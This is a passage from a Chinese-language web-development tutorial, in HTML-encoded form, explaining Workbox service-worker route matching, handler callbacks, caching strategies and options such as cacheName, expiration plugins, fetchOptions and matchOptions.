&#x624D;&#x4F1A;&#x660E;&#x786E;&#x5730;&#x77E5;&#x9053;&#x8FD9;&#x7C7B;&#x8DE8;&#x57DF;&#x8D44;&#x6E90;&#x9700;&#x8981;&#x8FDB;&#x884C;&#x52A8;&#x6001;&#x7F13;&#x5B58;&#x5904;&#x7406;&#x3002;&#x56E0;&#x6B64;&#xFF0C;&#x5982;&#x4E0B;&#x6240;&#x793A;&#x7684;&#x6B63;&#x5219;&#x5339;&#x914D;&#x89C4;&#x5219;&#x624D;&#x4F1A;&#x547D;&#x4E2D; <code>https://third-party-site.com</code> &#x8FD9;&#x4E2A;&#x57DF;&#x4E0B;&#x7684;&#x8DE8;&#x57DF;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">workbox<span class=\"token punctuation\">.</span>routing<span class=\"token punctuation\">.</span><span class=\"token function\">registerRoute</span><span class=\"token punctuation\">(</span>\n  <span class=\"token regex\">/^https:\\/\\/third-party-site\\.com\\/.*\\/index\\.css$/</span><span class=\"token punctuation\">,</span>\n  handlerCb\n<span class=\"token punctuation\">)</span>\n</code></pre>\n<p>3.&#x81EA;&#x5B9A;&#x4E49;&#x8DEF;&#x7531;&#x5339;&#x914D;&#x65B9;&#x6CD5;&#x3002;match &#x5141;&#x8BB8;&#x4F20;&#x5165;&#x4E00;&#x4E2A;&#x81EA;&#x5B9A;&#x4E49;&#x65B9;&#x6CD5;&#x6765;&#x5B9E;&#x73B0;&#x8F83;&#x4E3A;&#x590D;&#x6742;&#x7684;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x5339;&#x914D;&#x89C4;&#x5219;&#xFF0C;&#x8FD9;&#x4E2A;&#x81EA;&#x5B9A;&#x4E49;&#x65B9;&#x6CD5;&#x53EF;&#x4EE5;&#x4EFF;&#x9020;&#x4E0B;&#x9762;&#x7684;&#x4EE3;&#x7801;&#x5B9E;&#x73B0;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">const</span> <span class=\"token function-variable function\">match</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\"><span class=\"token punctuation\">{</span>url<span class=\"token punctuation\">,</span> event<span class=\"token punctuation\">}</span></span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">return</span> url<span class=\"token punctuation\">.</span>pathname <span class=\"token operator\">===</span> <span class=\"token string\">&apos;/index.html&apos;</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x5176;&#x4E2D; url &#x662F; <code>URL</code> &#x7C7B;&#x7684;&#x5B9E;&#x4F8B;&#xFF0C;event &#x662F; fetch &#x4E8B;&#x4EF6;&#x7684;&#x56DE;&#x8C03;&#x53C2;&#x6570;&#x3002;url &#x53EF;&#x901A;&#x8FC7;&#x5BF9; <code>URL</code> &#x7C7B;&#x8FDB;&#x884C;&#x5B9E;&#x4F8B;&#x5316;&#xFF0C;&#x4ECE; <code>event.request.url</code> &#x8F6C;&#x6362;&#x5F97;&#x5230;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> url <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">URL</span><span class=\"token punctuation\">(</span>event<span class=\"token punctuation\">.</span>request<span class=\"token punctuation\">.</span>url<span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x81EA;&#x5B9A;&#x4E49;&#x8DEF;&#x7531;&#x5339;&#x914D;&#x65B9;&#x6CD5;&#x6709;&#x4E24;&#x70B9;&#x8981;&#x6C42;&#xFF0C;&#x9996;&#x5148;&#x8981;&#x6C42;&#x662F;&#x4E2A;&#x540C;&#x6B65;&#x6267;&#x884C;&#x51FD;&#x6570;&#xFF0C;&#x5176;&#x6B21;&#x51FD;&#x6570;&#x5728;&#x8868;&#x793A;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x5339;&#x914D;&#x6210;&#x529F;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x53EA;&#x9700;&#x8981;&#x8FD4;&#x56DE;&#x4E00;&#x4E2A;&#x771F;&#x503C;&#xFF08;&#x5373;&#x5F3A;&#x5236;&#x8F6C;&#x5316;&#x4E3A;&#x5E03;&#x5C14;&#x503C;&#x540E;&#x4E3A; true &#x7684;&#x503C;&#xFF09;&#x5373;&#x53EF;&#x3002;</p>\n<h3 id=\"&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x5904;&#x7406;&#x65B9;&#x6CD5;\"><a name=\"&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x5904;&#x7406;&#x65B9;&#x6CD5;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x5904;&#x7406;&#x65B9;&#x6CD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x5904;&#x7406;&#x65B9;&#x6CD5;\" class=\"plugin-anchor\" href=\"#&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x5904;&#x7406;&#x65B9;&#x6CD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x5904;&#x7406;&#x65B9;&#x6CD5;</h3>\n<p><code>workbox.routing.registerRoute</code> &#x7684;&#x7B2C;&#x4E8C;&#x4E2A;&#x53C2;&#x6570; handlerCb &#x662F;&#x5BF9;&#x5339;&#x914D;&#x5230;&#x7684;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x8FDB;&#x884C;&#x5904;&#x7406;&#x7684;&#x65B9;&#x6CD5;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x4EE5;&#x5728;&#x8FD9;&#x91CC;&#x51B3;&#x5B9A;&#x5982;&#x4F55;&#x54CD;&#x5E94;&#x8BF7;&#x6C42;&#xFF0C;&#x65E0;&#x8BBA;&#x662F;&#x4ECE;&#x7F51;&#x7EDC;&#x3001;&#x4ECE;&#x672C;&#x5730;&#x7F13;&#x5B58;&#x8FD8;&#x662F;&#x5728; Service Worker &#x4E2D;&#x76F4;&#x63A5;&#x751F;&#x6210;&#x90FD;&#x662F;&#x53EF;&#x4EE5;&#x7684;&#x3002;&#x6BD4;&#x5982;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">const</span> <span class=\"token function-variable function\">handlerCb</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\"><span class=\"token punctuation\">{</span>url<span class=\"token punctuation\">,</span> event<span class=\"token punctuation\">,</span> params<span class=\"token punctuation\">}</span></span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">return</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">new</span> <span class=\"token class-name\">Response</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Hello World!&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x5176;&#x4E2D;&#xFF0C;&#x4F20;&#x5165;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x5904;&#x7406;&#x65B9;&#x6CD5;&#x7684;&#x5BF9;&#x8C61;&#x5305;&#x542B;&#x4EE5;&#x4E0B;&#x5C5E;&#x6027;&#xFF1A;</p>\n<ul>\n<li>url&#xFF1A;event.request.url &#x7ECF; URL &#x7C7B;&#x5B9E;&#x4F8B;&#x5316;&#x7684;&#x5BF9;&#x8C61;&#xFF1B;</li>\n<li>event&#xFF1A;fetch &#x4E8B;&#x4EF6;&#x56DE;&#x8C03;&#x53C2;&#x6570;&#xFF1B;</li>\n<li>params&#xFF1A;&#x81EA;&#x5B9A;&#x4E49;&#x8DEF;&#x7531;&#x5339;&#x914D;&#x65B9;&#x6CD5;&#x6240;&#x8FD4;&#x56DE;&#x7684;&#x503C;&#x3002;</li>\n</ul>\n<p>&#x5BF9;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x5904;&#x7406;&#x65B9;&#x6CD5;&#x7684;&#x8981;&#x6C42;&#x662F;&#xFF0C;&#x51FD;&#x6570;&#x5FC5;&#x987B;&#x662F;&#x4E2A;&#x5F02;&#x6B65;&#x65B9;&#x6CD5;&#x5E76;&#x8FD4;&#x56DE;&#x4E00;&#x4E2A; Promise&#xFF0C;&#x4E14;&#x8FD9;&#x4E2A; Promise &#x89E3;&#x6790;&#x7684;&#x7ED3;&#x679C;&#x5FC5;&#x987B;&#x662F;&#x4E00;&#x4E2A; Response &#x5BF9;&#x8C61;&#x3002;</p>\n<h2 id=\"workbox-&#x7F13;&#x5B58;&#x7B56;&#x7565;\"><a name=\"workbox-&#x7F13;&#x5B58;&#x7B56;&#x7565;\" class=\"anchor-navigation-ex-anchor\" href=\"#workbox-&#x7F13;&#x5B58;&#x7B56;&#x7565;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"workbox-&#x7F13;&#x5B58;&#x7B56;&#x7565;\" class=\"plugin-anchor\" href=\"#workbox-&#x7F13;&#x5B58;&#x7B56;&#x7565;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Workbox &#x7F13;&#x5B58;&#x7B56;&#x7565;</h2>\n<p><code>workbox.strategies</code> &#x5BF9;&#x8C61;&#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x7CFB;&#x5217;&#x5E38;&#x7528;&#x7684;&#x52A8;&#x6001;&#x7F13;&#x5B58;&#x7B56;&#x7565;&#x6765;&#x5B9E;&#x73B0;&#x5BF9;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x5904;&#x7406;&#x3002;&#x5305;&#x62EC;&#x4E86;&#x4EE5;&#x4E0B;&#x51E0;&#x79CD;&#x7B56;&#x7565;&#xFF1A;</p>\n<ul>\n<li>NetworkFirst&#xFF1A;&#x7F51;&#x7EDC;&#x4F18;&#x5148;</li>\n<li>CacheFirst&#xFF1A;&#x7F13;&#x5B58;&#x4F18;&#x5148;</li>\n<li>NetworkOnly&#xFF1A;&#x4EC5;&#x4F7F;&#x7528;&#x6B63;&#x5E38;&#x7684;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;</li>\n<li>CacheOnly&#xFF1A;&#x4EC5;&#x4F7F;&#x7528;&#x7F13;&#x5B58;&#x4E2D;&#x7684;&#x8D44;&#x6E90;</li>\n<li>StaleWhileRevalidate&#xFF1A;&#x4ECE;&#x7F13;&#x5B58;&#x4E2D;&#x8BFB;&#x53D6;&#x8D44;&#x6E90;&#x7684;&#x540C;&#x65F6;&#x53D1;&#x9001;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x66F4;&#x65B0;&#x672C;&#x5730;&#x7F13;&#x5B58;</li>\n</ul>\n<p>&#x8FD9;&#x4E9B;&#x7B56;&#x7565;&#x4E0E;&#x524D;&#x9762;&#x4ECB;&#x7ECD;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7B56;&#x7565;&#x7684;&#x7AE0;&#x8282;&#x4E2D;&#x7B80;&#x6613;&#x5B9E;&#x73B0;&#x7684;&#x7F13;&#x5B58;&#x7B56;&#x7565;&#x505A;&#x5BF9;&#x6BD4;&#x53EF;&#x4EE5;&#x53D1;&#x73B0;&#xFF0C;&#x5176;&#x539F;&#x7406;&#x57FA;&#x672C;&#x662F;&#x4E00;&#x81F4;&#x7684;&#xFF0C;&#x5F53;&#x7136;&#x5728;&#x5177;&#x4F53;&#x5B9E;&#x73B0;&#x4E0A; Workbox &#x8003;&#x8651;&#x5F97;&#x66F4;&#x4E3A;&#x590D;&#x6742;&#x800C;&#x5168;&#x9762;&#x4EE5;&#x5E94;&#x5BF9;&#x5404;&#x5F0F;&#x5404;&#x6837;&#x7684;&#x751F;&#x4EA7;&#x73AF;&#x5883;&#x3002;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x524D;&#x9762;&#x7B80;&#x6613;&#x5B9E;&#x73B0;&#x7684;&#x7B56;&#x7565;&#x6765;&#x52A0;&#x6DF1;&#x5BF9; Workbox &#x7F13;&#x5B58;&#x7B56;&#x7565;&#x7684;&#x8BA4;&#x8BC6;&#x3002;</p>\n<p>&#x4E0B;&#x9762;&#x4E3E;&#x4E2A;&#x4F8B;&#x5B50;&#x6765;&#x6F14;&#x793A; Workbox &#x7F13;&#x5B58;&#x7B56;&#x7565;&#x7684;&#x4F7F;&#x7528;&#x3002;&#x5047;&#x8BBE;&#x9700;&#x8981;&#x5BF9; <code>/api</code> &#x7684;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x91C7;&#x7528; NetworkFirst &#x7684;&#x7B56;&#x7565;&#xFF0C;&#x90A3;&#x4E48;&#x76F8;&#x5E94;&#x7684;&#x8DEF;&#x7531;&#x89C4;&#x5219;&#x548C;&#x7B56;&#x7565;&#x7684;&#x4F7F;&#x7528;&#x4EE3;&#x7801;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">workbox<span class=\"token punctuation\">.</span>routing<span class=\"token punctuation\">.</span><span class=\"token function\">registerRoute</span><span class=\"token punctuation\">(</span><span class=\"token regex\">/\\/api/</span><span class=\"token punctuation\">,</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">workbox<span class=\"token punctuation\">.</span>strategies<span class=\"token punctuation\">.</span>NetworkFirst</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h3 id=\"&#x7F13;&#x5B58;&#x7B56;&#x7565;&#x914D;&#x7F6E;\"><a name=\"&#x7F13;&#x5B58;&#x7B56;&#x7565;&#x914D;&#x7F6E;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x7F13;&#x5B58;&#x7B56;&#x7565;&#x914D;&#x7F6E;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x7F13;&#x5B58;&#x7B56;&#x7565;&#x914D;&#x7F6E;\" class=\"plugin-anchor\" href=\"#&#x7F13;&#x5B58;&#x7B56;&#x7565;&#x914D;&#x7F6E;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x7F13;&#x5B58;&#x7B56;&#x7565;&#x914D;&#x7F6E;</h3>\n<p>Workbox &#x7F13;&#x5B58;&#x7B56;&#x7565;&#x5747;&#x53EF;&#x8FDB;&#x884C;&#x5982;&#x4E0B;&#x914D;&#x7F6E;&#xFF1A;</p>\n<ul>\n<li>cacheName&#xFF1A;&#x6307;&#x5B9A;&#x5F53;&#x524D;&#x7B56;&#x7565;&#x8FDB;&#x884C;&#x8D44;&#x6E90;&#x7F13;&#x5B58;&#x7684;&#x540D;&#x79F0;&#xFF1B;</li>\n<li>plugins&#xFF1A;&#x6307;&#x5B9A;&#x5F53;&#x524D;&#x7B56;&#x7565;&#x6240;&#x4F7F;&#x7528;&#x7684;&#x63D2;&#x4EF6;&#x5217;&#x8868;&#xFF1B;</li>\n</ul>\n<p>&#x5BF9;&#x4E8E;&#x9700;&#x8981;&#x4F7F;&#x7528; Fetch API &#x6765;&#x53D1;&#x9001;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x7684;&#x7B56;&#x7565;&#x5C06;&#x4F1A;&#x591A;&#x51FA;&#x4EE5;&#x4E0B;&#x914D;&#x7F6E;&#x9879;&#xFF1A;</p>\n<ul>\n<li>fetchOptions&#xFF1A;&#x4F5C;&#x4E3A; Fetch API &#x7684;&#x7B2C;&#x4E8C;&#x4E2A;&#x53C2;&#x6570;&#x900F;&#x4F20;&#x7ED9;&#x5F53;&#x524D;&#x7B56;&#x7565;&#x4E2D;&#x6240;&#x6709;&#x4F7F;&#x7528;&#x5230;&#x7684; Fetch API&#xFF1B;</li>\n</ul>\n<p>&#x5BF9;&#x4E8E;&#x9700;&#x8981;&#x4F7F;&#x7528; Cache API &#x64CD;&#x4F5C;&#x672C;&#x5730;&#x7F13;&#x5B58;&#x7684;&#x7B56;&#x7565;&#x5C06;&#x591A;&#x51FA;&#x4EE5;&#x4E0B;&#x914D;&#x7F6E;&#x9879;&#xFF1A;</p>\n<ul>\n<li>matchOptions&#xFF1A;&#x4F5C;&#x4E3A; Cache &#x5BF9;&#x8C61;&#x6240;&#x63D0;&#x4F9B;&#x7684;&#x67E5;&#x627E;&#x65B9;&#x6CD5; <code>match</code> &#x7684;&#x7B2C;&#x4E8C;&#x4E2A;&#x53C2;&#x6570;&#x900F;&#x4F20;&#x7ED9;&#x5F53;&#x524D;&#x7B56;&#x7565;&#x4E2D;&#x6240;&#x6709;&#x4F7F;&#x7528;&#x5230; <code>cache.match</code> &#x7684;&#x5730;&#x65B9;&#x3002;</li>\n</ul>\n<p>&#x63A5;&#x4E0B;&#x6765;&#x901A;&#x8FC7;&#x4E00;&#x4E9B;&#x4F8B;&#x5B50;&#x6765;&#x6F14;&#x793A;&#x7F13;&#x5B58;&#x7B56;&#x7565;&#x7684;&#x914D;&#x7F6E;&#x4EE5;&#x53CA;&#x914D;&#x7F6E;&#x751F;&#x6548;&#x7684;&#x60C5;&#x51B5;&#x3002;</p>\n<h4 id=\"&#x6307;&#x5B9A;&#x8D44;&#x6E90;&#x7F13;&#x5B58;&#x540D;&#x79F0;\"><a name=\"&#x6307;&#x5B9A;&#x8D44;&#x6E90;&#x7F13;&#x5B58;&#x540D;&#x79F0;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6307;&#x5B9A;&#x8D44;&#x6E90;&#x7F13;&#x5B58;&#x540D;&#x79F0;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6307;&#x5B9A;&#x8D44;&#x6E90;&#x7F13;&#x5B58;&#x540D;&#x79F0;\" class=\"plugin-anchor\" href=\"#&#x6307;&#x5B9A;&#x8D44;&#x6E90;&#x7F13;&#x5B58;&#x540D;&#x79F0;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6307;&#x5B9A;&#x8D44;&#x6E90;&#x7F13;&#x5B58;&#x540D;&#x79F0;</h4>\n<p>&#x5047;&#x8BBE;&#x6211;&#x4EEC;&#x9700;&#x8981;&#x9488;&#x5BF9;&#x56FE;&#x7247;&#x8D44;&#x6E90;&#x5355;&#x72EC;&#x8FDB;&#x884C;&#x5B58;&#x50A8;&#x7BA1;&#x7406;&#xFF0C;&#x90A3;&#x4E48;&#x53EF;&#x4EE5;&#x5728;&#x7B56;&#x7565;&#x4E2D;&#x8BBE;&#x7F6E; cacheName &#x6765;&#x6307;&#x5B9A;&#x7F13;&#x5B58;&#x540D;&#x79F0;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">workbox<span class=\"token punctuation\">.</span>routing<span class=\"token punctuation\">.</span><span class=\"token function\">registerRoute</span><span class=\"token punctuation\">(</span>\n  <span class=\"token regex\">/\\.(jpe?g|png)/</span><span class=\"token punctuation\">,</span>\n  <span class=\"token keyword\">new</span> <span class=\"token class-name\">workbox<span class=\"token punctuation\">.</span>strategies<span class=\"token punctuation\">.</span>CacheFirst</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n    cacheName<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;image-runtime-cache&apos;</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x8FD9;&#x6837;&#x5F53;&#x7AD9;&#x70B9;&#x56FE;&#x7247;&#x8D44;&#x6E90;&#x7F13;&#x5B58;&#x6210;&#x529F;&#x4E4B;&#x540E;&#xFF0C;&#x6253;&#x5F00; Chrome &#x5F00;&#x53D1;&#x8005;&#x5DE5;&#x5177; &gt; Applications &gt; Cache Storage&#xFF0C;&#x5C31;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x6B64;&#x65F6;&#x591A;&#x4E86;&#x4E00;&#x4E2A;&#x540D;&#x4E3A;&#x201C;image-runtime-cache&#x201D;&#x7684;&#x7F13;&#x5B58;&#x7A7A;&#x95F4;&#xFF0C;&#x91CC;&#x9762;&#x7F13;&#x5B58;&#x7684;&#x5185;&#x5BB9;&#x5168;&#x662F;&#x56FE;&#x7247;&#x8D44;&#x6E90;&#x3002;</p>\n<h4 id=\"&#x6DFB;&#x52A0;&#x63D2;&#x4EF6;\"><a name=\"&#x6DFB;&#x52A0;&#x63D2;&#x4EF6;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6DFB;&#x52A0;&#x63D2;&#x4EF6;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6DFB;&#x52A0;&#x63D2;&#x4EF6;\" class=\"plugin-anchor\" href=\"#&#x6DFB;&#x52A0;&#x63D2;&#x4EF6;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6DFB;&#x52A0;&#x63D2;&#x4EF6;</h4>\n<p>Workbox &#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x4E9B;&#x529F;&#x80FD;&#x5F3A;&#x5927;&#x7684;&#x63D2;&#x4EF6;&#x6765;&#x5F3A;&#x5316;&#x7F13;&#x5B58;&#x7B56;&#x7565;&#xFF0C;&#x5728;&#x8FD9;&#x91CC;&#x7B80;&#x5355;&#x6F14;&#x793A;&#x4E00;&#x4E0B;&#x5982;&#x4F55;&#x4F7F;&#x7528; workbox.expiration.Plugin &#x6765;&#x5B9E;&#x73B0;&#x5BF9;&#x56FE;&#x7247;&#x8D44;&#x6E90;&#x7684;&#x8FC7;&#x671F;&#x7BA1;&#x7406;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">workbox<span class=\"token punctuation\">.</span>routing<span class=\"token punctuation\">.</span><span class=\"token function\">registerRoute</span><span class=\"token punctuation\">(</span>\n  <span class=\"token regex\">/\\.(jpe?g|png)/</span><span class=\"token punctuation\">,</span>\n  <span class=\"token keyword\">new</span> <span class=\"token class-name\">workbox<span class=\"token punctuation\">.</span>strategies<span class=\"token punctuation\">.</span>CacheFirst</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n    plugins<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">[</span>\n      <span class=\"token keyword\">new</span> <span class=\"token class-name\">workbox<span class=\"token punctuation\">.</span>expiration<span class=\"token punctuation\">.</span>Plugin</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n        <span class=\"token comment\">// &#x5BF9;&#x56FE;&#x7247;&#x8D44;&#x6E90;&#x7F13;&#x5B58; 1 &#x661F;&#x671F;</span>\n        maxAgeSeconds<span class=\"token punctuation\">:</span> <span class=\"token number\">7</span> <span class=\"token operator\">*</span> <span class=\"token number\">24</span> <span class=\"token operator\">*</span> <span class=\"token number\">60</span> <span class=\"token operator\">*</span> <span class=\"token number\">60</span><span class=\"token punctuation\">,</span>\n        <span class=\"token comment\">// &#x5339;&#x914D;&#x8BE5;&#x7B56;&#x7565;&#x7684;&#x56FE;&#x7247;&#x6700;&#x591A;&#x7F13;&#x5B58; 10 &#x5F20;</span>\n        maxEntries<span class=\"token punctuation\">:</span> <span class=\"token number\">10</span>\n      <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">]</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">)</span>\n</code></pre>\n<h4 id=\"&#x914D;&#x7F6E;-fetchoptions\"><a name=\"&#x914D;&#x7F6E;-fetchoptions\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x914D;&#x7F6E;-fetchoptions\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x914D;&#x7F6E;-fetchoptions\" class=\"plugin-anchor\" href=\"#&#x914D;&#x7F6E;-fetchoptions\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x914D;&#x7F6E; fetchOptions</h4>\n<p>&#x5BF9;&#x4E8E;&#x8BBE;&#x7F6E;&#x4E86; CORS &#x7684;&#x8DE8;&#x57DF;&#x8BF7;&#x6C42;&#x7684;&#x56FE;&#x7247;&#x8D44;&#x6E90;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x914D;&#x7F6E; fetchOptions &#x5C06;&#x7B56;&#x7565;&#x4E2D; Fetch API &#x7684;&#x8BF7;&#x6C42;&#x6A21;&#x5F0F;&#x8BBE;&#x7F6E;&#x4E3A; <code>cors</code>&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">workbox<span class=\"token punctuation\">.</span>routing<span class=\"token punctuation\">.</span><span class=\"token function\">registerRoute</span><span class=\"token punctuation\">(</span>\n  <span class=\"token regex\">/^https:\\/\\/third-party-site\\.com\\/.*\\.(jpe?g|png)/</span><span class=\"token punctuation\">,</span>\n  <span class=\"token keyword\">new</span> <span class=\"token class-name\">workbox<span class=\"token punctuation\">.</span>strategies<span class=\"token punctuation\">.</span>CacheFirst</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n    fetchOptions<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n      mode<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;cors&apos;</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">)</span>\n</code></pre>\n<h4 id=\"&#x914D;&#x7F6E;-matchoptions\"><a name=\"&#x914D;&#x7F6E;-matchoptions\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x914D;&#x7F6E;-matchoptions\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x914D;&#x7F6E;-matchoptions\" class=\"plugin-anchor\" href=\"#&#x914D;&#x7F6E;-matchoptions\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x914D;&#x7F6E; matchOptions</h4>\n<p>&#x5047;&#x8BBE;&#x56FE;&#x7247;&#x8D44;&#x6E90;&#x7F13;&#x5B58;&#x7684;&#x5B58;&#x53D6;&#x9700;&#x8981;&#x5FFD;&#x7565;&#x8BF7;&#x6C42; URL &#x7684; search &#x53C2;&#x6570;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x8BBE;&#x7F6E; matchOptions &#x6765;&#x5B9E;&#x73B0;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">workbox<span class=\"token punctuation\">.</span>routing<span class=\"token punctuation\">.</span><span class=\"token function\">registerRoute</span><span class=\"token punctuation\">(</span>\n  <span class=\"token regex\">/\\.(jpe?g|png)/</span><span class=\"token punctuation\">,</span>\n  <span class=\"token keyword\">new</span> <span class=\"token class-name\">workbox<span class=\"token punctuation\">.</span>strategies<span class=\"token punctuation\">.</span>CacheFirst</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n    matchOptions<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n      ignoreSearch<span class=\"token punctuation\">:</span> <span class=\"token boolean\">true</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">)</span>\n</code></pre>\n<h2 id=\"&#x57FA;&#x4E8E;-workbox-&#x6539;&#x9020;-service-worker\"><a name=\"&#x57FA;&#x4E8E;-workbox-&#x6539;&#x9020;-service-worker\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x57FA;&#x4E8E;-workbox-&#x6539;&#x9020;-service-worker\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x57FA;&#x4E8E;-workbox-&#x6539;&#x9020;-service-worker\" class=\"plugin-anchor\" href=\"#&#x57FA;&#x4E8E;-workbox-&#x6539;&#x9020;-service-worker\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x57FA;&#x4E8E; Workbox &#x6539;&#x9020; Service Worker</h2>\n<p>&#x5728;&#x524D;&#x9762;&#x7AE0;&#x8282;&#x5185;&#x5BB9;&#x5F53;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x4F7F;&#x7528;&#x4E86;&#x81EA;&#x884C;&#x5C01;&#x88C5;&#x7684;&#x65B9;&#x6CD5;&#x7F16;&#x5199; Service Worker &#x6587;&#x4EF6;&#xFF0C;&#x5B9E;&#x73B0;&#x4E86;&#x793A;&#x4F8B;&#x9875;&#x9762;&#x7684;&#x79BB;&#x7EBF;&#x53EF;&#x8BBF;&#x95EE;&#x3002;&#x63A5;&#x4E0B;&#x6765;&#xFF0C;&#x6211;&#x4EEC;&#x5C06;&#x57FA;&#x4E8E; Workbox &#x5B9E;&#x73B0;&#x540C;&#x6837;&#x529F;&#x80FD;&#x7684; Service Worker&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x5F15;&#x5165; workbox &#x6838;&#x5FC3;</span>\n<span class=\"token function\">importScripts</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;https://storage.googleapis.com/workbox-cdn/releases/4.2.0/workbox-sw.js&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x9884;&#x7F13;&#x5B58;</span>\nworkbox<span class=\"token punctuation\">.</span>precaching<span class=\"token punctuation\">.</span><span class=\"token function\">precacheAndRoute</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">[</span>\n  <span class=\"token 